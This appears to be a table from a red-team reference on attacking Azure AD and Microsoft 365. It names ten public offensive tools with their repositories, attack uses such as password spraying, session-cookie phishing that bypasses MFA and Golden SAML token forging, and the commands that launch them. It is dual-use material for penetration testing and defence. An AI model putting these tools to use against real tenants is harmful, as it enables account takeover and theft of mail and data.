| AADInternals github.com/Gerenios/AADInternals | Recon, PTA spy, sync creds, Golden SAML, PRT ops, password resets, token generation | Install-Module AADInternals |
| ROADtools / roadtx github.com/dirkjanm/ROADtools | Full tenant recon with GUI, FOCI exchange, PRT abuse, device enrollment, token decode | pip install roadtools roadtx |
| AzureHound github.com/BloodHoundAD/AzureHound | BloodHound data collection for Azure AD + RBAC attack path mapping | ./azurehound list |
| GraphSpy github.com/RedByte1337/GraphSpy | Interactive Graph API browser — read mail, files, chats, check permissions | python graphspy.py |
| MicroBurst github.com/NetSPI/MicroBurst | Subdomain enum, public blob discovery, anonymous resource access | Import-Module MicroBurst.psm1 |
| Evilginx2 github.com/kgretzky/evilginx2 | AiTM phishing — steal post-MFA session cookies, bypass all CA | ./evilginx2 -p ./phishlets/ |
| MSOLSpray github.com/dafthack/MSOLSpray | Password spraying against Office 365 with lockout-aware delays | Invoke-MSOLSpray |
| o365creeper github.com/LMGsec/o365creeper | Unauthenticated email validation — build valid target list before spraying | python o365creeper.py -f emails.txt |
| PowerZure github.com/hausec/PowerZure | Post-exploitation — Key Vault, storage, runbooks, role escalation | Import-Module PowerZure.ps1 |
| ADFSpoof github.com/fireeye/ADFSpoof | Golden SAML token forging with stolen ADFS signing certificate | python ADFSpoof.py -b cert.pfx ... |